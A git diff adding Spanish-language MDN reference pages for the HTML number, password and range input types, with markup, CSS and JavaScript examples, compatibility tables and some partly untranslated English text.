+    &lt;div class="feetInputGroup" style="display: none;"&gt;
+        &lt;span&gt;Enter your height — &lt;/span&gt;
+        &lt;label for="feet"&gt;feet:&lt;/label&gt;
+        &lt;input id="feet" type="number" name="feet" min="0" step="1"&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+        &lt;label for="inches"&gt;inches:&lt;/label&gt;
+        &lt;input id="inches" type="number" name="inches" min="0" max="11" step="1"&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;input type="button" class="meters" value="Enter height in feet and inches"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;input type="submit" value="Submit form"&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Verás que estamos usando muchos de los atributos que ya hemos visto antes en el artículo. Como queremos que acepte un valor de medida en centímetros, hemos colocado el valor de <code>step</code> a <code>0.01</code>, de manera que valores como <em>1.78</em> no sean vistos como inválidos. También hemos provisto una marca de lugar (placeholder) para esa entrada.</p>
+
+<p>Hemos escondido las entradas de pies y pulgadas inicialmente usando <code>style="display: none;"</code>, de manera que metros sea el tipo de entrada preseleccionado.</p>
+
+<p>Ahora, al CSS. Este se ve muy similar al estilo de validación que vimos antes; nada extraordinario aquí.</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>Y finalmente, el JavaScript:</p>
+
+<pre class="brush: js">let metersInputGroup = document.querySelector('.metersInputGroup')
+let feetInputGroup = document.querySelector('.feetInputGroup')
+let metersInput = document.querySelector('#meters')
+let feetInput = document.querySelector('#feet')
+let inchesInput = document.querySelector('#inches')
+let switchBtn = document.querySelector('input[type="button"]')
+
+switchBtn.addEventListener('click', function() {
+  if(switchBtn.getAttribute('class') === 'meters') {
+    switchBtn.setAttribute('class', 'feet')
+    switchBtn.value = 'Enter height in meters'
+
+    metersInputGroup.style.display = 'none'
+    feetInputGroup.style.display = 'block'
+
+    feetInput.setAttribute('required', '')
+    inchesInput.setAttribute('required', '')
+    metersInput.removeAttribute('required')
+
+    metersInput.value = ''
+  } else {
+    switchBtn.setAttribute('class', 'meters')
+    switchBtn.value = 'Enter height in feet and inches'
+
+    metersInputGroup.style.display = 'block'
+    feetInputGroup.style.display = 'none'
+
+    feetInput.removeAttribute('required')
+    inchesInput.removeAttribute('required')
+    metersInput.setAttribute('required', '')
+
+    feetInput.value = ''
+    inchesInput.value = ''
+  }
+});</pre>
+
+<p>Después de declarar unas pocas variables, un manejador de eventos s agredgado al <code>button</code> para controlar el mecanismo interruptor. Esto es bastante simple, principalmente involucra cambiar las {{HTMLElement("label")}} y <code>class</code> del botón, y actualizar los valores de muestra de los dos conjuntos de entradas cuando el botón sea presionado.</p>
+
+<p>(Nota que aquí no estamos convirtiendo de aquí para allá entre metros y pies/pulgadas, lo que probablemente haría una aplicación web en la vida real.)</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Cuando el usuario haga click en el botón, el(los) atributo(s) <code>required</code> de la(s) entradas que estemos ocultando son removidos, y vaciará el <code>value</code> del(los) atributo(s). Esto es de manera que el formulario pueda ser enviado si ambos conjuntos de entradas no están llenas. También asegura que el formulario no enviará datos que el usuario no quiera.</p>
+
+<p>¡Si no hicieras eso, tendrías que llenar ambos pies/pulgadas <strong>y</strong> metros para enviar el formulario!</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#number-state-(type=number)', '&lt;input type="number"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#number-state-typenumber', '&lt;input type="number"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-number")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/HTML/Forms">Guía de formularios HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li><code><a href="/es/docs/Web/HTML/Element/input/tel">&lt;input type="tel"&gt;</a></code></li>
+ <li><a href="/es/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Compatibilidad de propiedades CSS</a></li>
+</ul>
diff --git a/files/es/web/html/elemento/input/password/index.html b/files/es/web/html/elemento/input/password/index.html
new file mode 100644
index 0000000000..2fd6cd5cb2
--- /dev/null
+++ b/files/es/web/html/elemento/input/password/index.html
@@ -0,0 +1,132 @@
+---
+title: <input type="password">
+slug: Web/HTML/Elemento/input/password
+tags:
+  - Element
+  - HTML
+  - Reference
+translation_of: Web/HTML/Element/input/password
+---
+<p> </p>
+
+<p>{{HTMLRef}}</p>
+
+<p>Los elementos <code>&lt;input&gt;</code> de tipo <strong><code>"password"</code></strong> proporcionan una forma para que el usuario ingrese una contraseña de forma segura. El elemento se presenta como un control de editor de texto, sin formato, de una línea, en el que el texto está oculto para que no pueda leerse, generalmente reemplazando cada carácter con un símbolo como el asterisco ("*") o un punto ("•"). Este carácter variará dependiendo del {{Glossary("user agent")}} y del {{Glossary("OS")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, listado, tabla enviable, reseteable, elementos de forma asociada, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, elementos etiquetables, contenido palpable.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Ninguno, es un {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>Tiene que tener una etiqueta al inicio y no tener una etiqueta final.</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos de parentescos</th>
+   <td>Cualquier elemento que accepta <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLInputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Además de los atributos listados abajo, este elemento puede tener cualquier <a href="/en-US/docs/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autocomplete")}}{{HTMLVersionInline("5")}}</dt>
+ <dd>Establece el valor del atributo de autocompletado en el campo de una contraseña. En caso de ser cierto, automaticamente se rellena con el valor previamente almacenado.</dd>
+ <dt>{{htmlattrdef("autofocus")}}{{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo Booleano te permite especificar que la página ponga el foco en un campo a menos que el usuario lo revoque, por ejemplo, escribir en un campo diferente. Solo un elemento en el documento puede tener el atributo Booleano <strong>autofocus</strong>.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>Este atributo Booleano indica que el campo de la contraseña no está disponible. Además, deshabilita los valores que no son enviados por el campo.</p>
+ </dd>
+ <dt>{{htmlattrdef("defaultvalue")}}</dt>
+ <dd>Define un valor predeterminado en el campo de la contraseña.</dd>
+ <dt>{{htmlattrdef("inputmode")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Le da proporciona información al buscador sobre que teclado mostrar. Los valores posibles son:
+ <ul>
+  <li><code>verbatim</code>: Alfanumérico, contenido no verbla tales como usuarios y contraseñas.</li>
+  <li><code>latin</code>: Introducción de texto en el lenguaje preferido del usuario con ayudas de escritura, como predicción de texto. Se usa para comunicación de usuario a ordenador en, por ejemplo, campos de búsqueda.</li>
+  <li><code>latin-name</code>: Como <em>latin</em>, pero para nombres de personas.</li>
+  <li><code>latin-prose</code>: Como <em>latin</em>, pero con unas ayudas de escritura más activas. Para comunicación de usuario a usuario como por ejemplo, mensajería instantanea o emails.</li>
+  <li><code>full-width-latin</code>: Como <em>latin-prose</em>, pero para lenguajes secundarios del usuario.</li>
+  <li><code>kana</code>: Entrada de texto Kana o romaji, normalmente entrada hiragana, usa carácteres con ancho completo, con soporte para converstirse a kanji. Establecido para la entrada de texto Japonés.</li>
+  <li><code>katakana</code>: Katakana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("maxlength")}}</dt>
+ <dd>Establece el valor del atributo maxlength en el campo de una contraseña.</dd>
+ <dt>{{htmlattrdef("minlength")}}</dt>
+ <dd>Establece el valor del atributo minlength en el campo de una contraseña.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Nombre del campo, usado para datos enviados desde formulario.</dd>
+ <dt>{{htmlattrdef("pattern")}}{{HTMLVersionInline("5")}}</dt>
+ <dd> Establece el valor del atributo pattern del campo de una contraseña.</dd>
+ <dt>{{htmlattrdef("placeholder")}}{{HTMLVersionInline("5")}}</dt>
+ <dd>Establece el valor del atributo placeholder del campo de una contraseña.</dd>
+ <dt>{{htmlattrdef("readonly")}}</dt>
+ <dd>Este atributo Booleano indica que el usuario no puede modificar el valor del campo de una contraseña.</dd>
+ <dt>{{htmlattrdef("required")}}{{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo Booleano especifica que el usuario debe rellenar con un valor antes de enviar un formulario.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>Establece el valor del atributo size del campo de una contraseña.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Para crear un widget que muestre una constraseña, use:</p>
+
+<pre class="brush: html">&lt;input type="password"&gt;</pre>
+
+<p>Para crear un widget que muestre una contraseña con un patrón o diseño, use:</p>
+
+<pre class="brush: html">&lt;input type="password" pattern=".{6,}"&gt;</pre>
+
+<p>El ejemplo de arriba creará un elemento password que deberá contener 6 o más carácteres.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-input-element.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Fix me:</strong> Insert Browser Compatibility table here.</p>
+</div>
+
+<h2 id="sect1"> </h2>
diff --git a/files/es/web/html/elemento/input/range/index.html b/files/es/web/html/elemento/input/range/index.html
new file mode 100644
index 0000000000..e0cf92d55a
--- /dev/null
+++ b/files/es/web/html/elemento/input/range/index.html
@@ -0,0 +1,416 @@
+---
+title: <input type="range">
+slug: Web/HTML/Elemento/input/range
+tags:
+  - Elementos
+  - Formulários HTML
+  - HTML etiqueta input
+  - Input
+  - Range
+  - Rango
+  - Referencia
+  - Web
+  - deslizador
+  - formulários
+  - slider
+translation_of: Web/HTML/Element/input/range
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">El elemento {{HTMLElement("input")}} del tipo <code><strong>"range"</strong></code> permite que el usuario especifique un valor numérico comprendido entre un valor mínimo y máximo. El valor exacto, sin embargo, no se considera importante. Se repesenta típicamente como un "tirador" o un control deslizante en lugar de un campo de texto como otros tipos de {{HTMLElement("input")}}.</span> Como este tipo de widget es bastante inmpreciso, no debe utilizarse normalmente a menos que el valor exacto del control no sea importante.</p>
+
+<div id="summary_sample1">
+<pre class="brush: html">&lt;input type="range"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary_sample1", 600, 40)}}</p>
+
+<p>Si el navegador del usuario no soporta el tipo <code>"range"</code>, será tratado como un input de tipo <code><a href="/en-US/docs/Web/HTML/Element/input/text">"text"</a></code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>Un {{domxref("DOMString")}} que contiene la cadena que representa el valor numérico seleccionado; use {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} to get the value as a {{jsxref("Number")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Eventos</strong></td>
+   <td>{{event("change")}} e {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos comunes soportados</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("max", "input")}}, {{htmlattrxref("min", "input")}} y {{htmlattrxref("step", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos IDL </strong></td>
+   <td><code>list</code>, <code>value</code> y <code>valueAsNumber</code></td>
+  </tr>
+  <tr>
+   <td><strong>Metodos</strong></td>
+   <td>{{domxref("HTMLInputElement.stepDown", "stepDown()")}} y {{domxref("HTMLInputElement.stepUp", "stepUp()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value">Value</h2>
+
+<p>El atributo {{htmlattrxref("value", "input")}} contiene un {{domxref("DOMString")}} que es la representación de tipo cadena del número seleccionado. El valor nunca es una cadena vacía (<code>""</code>). El valor por defecto es el punto intermedio entre los valores mínimo y máximo especificados, a menos que el valor máximo sea menor que el valor mínimo, en cuyo caso el valor por defecto será el valor del atributo <code>min</code>. El algoritmo de determina el valor por defecto es:</p>
+
+<pre class="brush: js">defaultValue = (rangeElem.max &lt; rangeElem.min) ? rangeElem.min
+               : rangeElem.min + (rangeElem.max - rangeElem.min)/2;</pre>
+
+<p><span id="result_box" lang="es"><span>Si se intenta establecer un valor inferior al mínimo definido, el valor será igual al mínimo.</span> <span>De manera similar, un intento de establecer un valor superior al máximo da como resultado el valor máximo.</span></span></p>
+
+<h2 id="Usando_inputs_range">Usando inputs range</h2>
+
+<p>El input de tipo <code>"number"</code> permite al usuario introducir un número y, opcionalmente, forzarle a que dicho valor se encuentre entre un mínimo y un máximo, pero le obliga a introducir un valor específico. El input de tipo <code>"range"</code> pide al usuario que indique el valor en un rango numérico sin que tenga que preocuparse qué valor numérico específico está seleccionado.</p>
+
+<p>Los ejemplos títpicos de situaciones en las que se pueden usar inputs de tipo rango suelen ser:</p>
+
+<ul>
+ <li>Controles de audio (volumen o balance) o controles de filtro.</li>
+ <li>Configuración de color, como canales, transparencia, brillo, etc.</li>
+ <li>Controles de configuración de juegos, como dificultad, distancia de visibilidad, tamaño del nunodGame configuration controls such as difficulty, visibility distance, world size, etc.</li>
+ <li>Longitud de contraseñas para un gestor de contraseñas generadas.</li>
+</ul>
+
+<p>Como regla general, si el usuario está más interesado en la distancia entre un mínimo y un máximo más que en el propio valor en sí  mismo, el input de tipo rango es el candidato perfecto. Por ejemplo, en el caso del control del volumen de un equipo estéreo, el usuario normalmente piensa "pon el volumen a la midad" en lugar de "pon el volumen al 0,5".</p>
+
+<h3 id="Especificar_los_valores_mínimo_y_máximo">Especificar los valores mínimo y máximo</h3>
+
+<p>Por defecto, el valor mínimo es 0 y el máximo es 100. Si es necesario modificar dichos valores, podemos usar los atributos {{htmlattrxref("min", "input")}} y/o {{htmlattrxref("max", "input")}}. Podemos usar cualquier valor de coma flotante.</p>
+
+<p>Por ejemplo, para usar un rango entre -10 y 10, usaremos:</p>
+
+<pre class="brush: html">&lt;input type="range" min="-10" max="10"&gt;</pre>
+
+<p>{{EmbedLiveSample("Specifying_the_minimum_and_maximum", 600, 40)}}</p>
+
+<h3 id="Definir_el_tamaño_de_los_saltos">Definir el tamaño de los saltos</h3>
+
+<p>Por defecto, cada salto tiene valor 1, es decir el valor será siempre un número entero. Podemos cambiarlo mediante el atributo {{htmlattrxref("step")}}. Si necesitas, por ejemplo, un valor entre 5 y 10 con una precisión de dos decimales, debes indicar que el valor de <code>step</code> es 0.01:</p>
+
+<div id="Granularity_sample1">
+<pre class="brush: html">&lt;input type="range" min="5" max="10" step="0.01"&gt;</pre>
+
+<p>{{EmbedLiveSample("Granularity_sample1", 600, 40)}}</p>
+</div>
+
+<p><span id="result_box" lang="es"><span>Si quieres aceptar cualquier valor independientemente de la cantidad de decimales, puede especificar un valor de </span></span><code>"any"</code> al atrtibuto {{htmlattrxref("step", "input")}}:</p>
+
+<div id="Granularity_sample2">
+<pre class="brush: html">&lt;input type="range" min="0" max="3.14" step="any"&gt;</pre>
+
+<p>{{EmbedLiveSample("Granularity_sample2", 600, 40)}}</p>
+
+<p>En el ejemplo, permitimos al usuario seleccionar cualquier valor entre 0 y π sin restricciones en la parte decimal del número seleccionado.</p>
+</div>
+
+<h3 id="Añadir_marcas_y_etiquetas">Añadir marcas y etiquetas</h3>
+
+<p>La especificación HTML permite a los navegadores cierta flexibilidad sobre cómo presentar el control range. En ningún sitio es más notoria dicha flexibilidad como a la hora de representar las marcas y las etiquetas de un rango. La especificación describe cómo añadir puntos personalizados al control range usando el atributo {{htmlattrxref("list", "input")}} y el elemento {{HTMLElement("datalist")}}, pero no hay requisitos o recomendaciones de estandarizar las marcas a lo largo del control.</p>
+
+<h4 id="Mockups_del_control_range">Mockups del control range</h4>
+
+<p>Como los navegadores tienen esta flexibilidad, y hasta la fecha ninguno admite todas las funciones que HTML define para los controles range, a continuación mostramos algunas maquetas que permiten conocer lo que puede visualizarse en macOS en un navegador que las admita.</p>
+
+<h5 id="El_control_rango_sin_adornos">El control rango sin adornos</h5>
+
+<p>Cuando no especificas un atributo {{htmlattrxref("list", "input")}} al input range, un navegador que lo soporte mostrará lo siguie.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Captura de pantalla</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html">
+&lt;input type="range"&gt;</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14989/macslider-plain.png" style="height: 28px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Un_control_rango_con_marcas">Un control rango con marcas</h5>
+
+<p>El siguiente rango utiliza el atributo <code>list</code> (al cual le especificamos el ID del elemento {{HTMLElement("datalist")}}) para definir la serie de marcas del rango. Hay once marcas, cada una de ellas mide un 10%, representadas por el  {{htmlattrxref("value", "option")}} de cada elemento {{HTMLElement("option")}}.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Captura de pantalla</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html">
+&lt;input type="range" list="tickmarks"&gt;
+
+&lt;datalist id="tickmarks"&gt;
+  &lt;option value="0"&gt;
+  &lt;option value="10"&gt;
+  &lt;option value="20"&gt;
+  &lt;option value="30"&gt;
+  &lt;option value="40"&gt;
+  &lt;option value="50"&gt;
+  &lt;option value="60"&gt;
+  &lt;option value="70"&gt;
+  &lt;option value="80"&gt;
+  &lt;option value="90"&gt;
+  &lt;option value="100"&gt;
+&lt;/datalist&gt;
+</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14991/macslider-ticks.png" style="height: 28px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Un_control_rango_con_marcas_y_etiquetas">Un control rango con marcas y etiquetas</h5>
+
+<p>Puedes añadir etiquetas a tu control range usando el atributo {{htmlattrxref("label", "option")}} al elemento {{HTMLElement("option")}} correspondiente a cada marca que desees etiquetar.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Captura de pantalla</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html">
+&lt;input type="range" list="tickmarks"&gt;
+
+&lt;datalist id="tickmarks"&gt;
+  &lt;option value="0" label="0%"&gt;
+  &lt;option value="10"&gt;
+  &lt;option value="20"&gt;
+  &lt;option value="30"&gt;
+  &lt;option value="40"&gt;
+  &lt;option value="50" label="50%"&gt;
+  &lt;option value="60"&gt;
+  &lt;option value="70"&gt;
+  &lt;option value="80"&gt;
+  &lt;option value="90"&gt;
+  &lt;option value="100" label="100%"&gt;
+&lt;/datalist&gt;
+</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14993/macslider-labels.png" style="height: 44px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Actualmente, ningún navegador soporta todas estas características. Firefox no soporta ni marcas ni etiquetas, mientras que Chrome soporta las marcas pero no las etiquetas.</p>
+</div>
+
+<h3 id="Cambiar_la_orientación">Cambiar la orientación</h3>
+
+<div class="hidden">
+<p>Por defecto, si un navegador renderiza un input range, lo mostrará como un "slider" (deslizador) que se desliza hacia la izquierda y hacia la derecha. By default, if a browser renders a range input as a slider, it will render it so that the knob slides left and right. Sin embargo puedes cambiar esto fácilmente para que se deslice hacia arriba y hacia abajo simplemente usando CSS</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esto aún no está implementado por los principales navegadores. This is not actually implemented yet by any of the major browsers. See Firefox {{bug(981916)}}, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=341071">Chrome bug 341071</a>.</p>
+</div>
+
+<p>Si tenemos el siguiente control range:</p>
+
+<div id="Orientation_sample1">
+<pre class="brush: html">&lt;input type="range" id="volume" min="0" max="11" value="7" step="1"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Orientation_sample1", 200, 200, "https://mdn.mozillademos.org/files/14983/Orientation_sample1.png")}}</p>
+
+<p>Dicho control se muestra en horizontal (al menos en los principales navegadores, o otros puede variar). Presentarlo en vertical es tan simple como añadir CSS para cambiar las dimensiones del control, de la siguiente manera:</p>
+
+<div id="Orientation_sample2">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#volume {
+  height: 150px;
+  width: 50px;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input type="range" id="volume" min="0" max="11" value="7" step="1"&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Orientation_sample2", 200, 200, "https://mdn.mozillademos.org/files/14985/Orientation_sample2.png")}}</p>
+
+<p><strong>En la actualidad, ninguno de los navegadores principales soporta la creación de inputs range usando este CSS, incluso a perar de que la especificación recomienda que lo hagan.</strong></p>
+</div>
+</div>
+
+<p>La especificación HTML recomienda que los navegadores cambien la orientación del range si el ancho especificado es menor que el alto. Desafortunadamente, ninguno de los principales navegadores soportar controles range verticales directamente. Para conseguir un range vertical, la forma más fácil es usar CSS, aplicando {{cssxref("transform")}} para rotar el elemento y mostrarlo en vertical. Veamos cómo.</p>
+
+<div id="Orientation_sample3">
+<h4 id="HTML_2">HTML</h4>
+
+<p>El HTML necesita que el elemento {{HTMLElement("input")}} esté dentro de un elemento {{HTMLElement("div")}} :</p>
+
+<pre class="brush: html">&lt;div class="slider-wrapper"&gt;
+  &lt;input type="range" min="0" max="11" value="7" step="1"&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<p>Ahora necesitamos un poco de CSS. Primero escribimos el CSS del div contenedor; especificamos el modo de display y el tamaño que queremos que tenga, reservando un área en la página para el "slider" que vamos a rotar.</p>
+
+<pre class="brush: css">.slider-wrapper {
+  display: inline-block;
+  width: 20px;
+  height: 150px;
+  padding: 0;
+}
+</pre>
+Después ponemos la información para el elemento <code>&lt;input&gt;</code>:
+
+<pre class="brush: css">.slider-wrapper input {
+  width: 150px;
+  height: 20px;
+  margin: 0;
+  transform-origin: 75px 75px;
+  transform: rotate(-90deg);
+}</pre>
+
+<p>El tamaño del range es 150 pixeles de ancho por 20 pixeles de alto. Ponemos los márgenes a 0 y con {{cssxref("transform-origin")}} cambiamos centro que usaremos para rotar el range. Como el input mide 150 pixeles de ancho y largo, girará en una cuadrado de 150 pixeles de lado. Colocamos el centro de giro a 75px horizontal y verticalmente y, finalmente, rotamos 90º en sentido contrario a las agujas del reloj. El resultado final es un input range que ha girado y cuyo valor máximo está en la parte superior y el valor mínimo en la parte inferior.</p>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Orientation_sample3", 200, 200, "https://mdn.mozillademos.org/files/14987/Orientation_sample3.png")}}</p>
+</div>
+
+<h2 id="Validación">Validación</h2>
+
+<div class="g-unit" id="gt-res-c">
+<div id="gt-res-p">
+<div id="gt-res-data">
+<div id="gt-res-wrap">
+<div id="gt-res-content">
+<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr">
+<div id="tts_button"> </div>
+<span id="result_box" lang="es"><span>No hay un patrón de validación</span></span><span lang="es"><span> disponible;</span> <span>sin embargo, se realizan las siguientes formas de validación automática:</span></span></div>
+</div>
+</div>
+</div>
+</div>
+</div>
+
+<p> </p>
+
+<ul>
+ <li>Si el {{htmlattrxref("value", "input")}} <span id="result_box" lang="es"><span>está configurado con un valor que no se puede convertir en un número de coma flotante válido, la validación falla porque recibe una entrada incorrecta.</span></span></li>
+ <li>El valor no puede ser menor que el valor de {{htmlattrxref("min", "input")}}. Por defecto es 0.</li>
+ <li>El valor no puede ser mayor que el {{htmlattrxref("max", "input")}}. Por defecto es 100.</li>
+ <li>El valor será un múltiplo del valor de {{htmlattrxref("step", "input")}}. Por defecto es 1.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Además de los ejemplos anteriores, encontrarás más ejemplos en los siguientes artículos:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Controlling_multiple_parameters_with_ConstantSourceNode">Controlling multiple parameters with ConstantSourceNode</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#range-state-(type=range)', '&lt;input type="range"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#range-state-typerange', '&lt;input type="range"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0<sup>[2]</sup></td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop(23)}}<sup>[1][4]</sup></td>
+   <td>10</td>
+   <td>10.1</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1<sup>[3]</sup></td>
+   <td>57<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(52)}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] A pesar de que la especificación dice que el input range debe mostrarse verticalmente si el alto es mayor que el ancho, este comportamiento no está implementado actualmente. Mira los siguientes bugs para conocer más información: {{bug(840820)}} y {{bug(981916)}}.</p>
+
+<p>[2] Chrome implementa el valor <code>slider-vertical</code> con la propiedad no estandard {{cssxref("-webkit-appearance")}}. <em>No deberías usarla ya que es propietaria, a menos que incluyas fallbacks para usuarios de otros navegadores</em>.</p>
+
+<p>[3] El navegador de Android reconoce el tipo <code>"range"</code> desde la versión 2.1, pero no está totalmente implementada hasta la versión 4.3.</p>
+
+<p>[4] Dibujar marcas y etiquetas no está aún implementado. Ver {{bug(841942)}} para conocer más información.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML Forms</a></li>
+ <li>{{HTMLElement("input")}} and the {{domxref("HTMLInputElement")}} interface it's based upon</li>
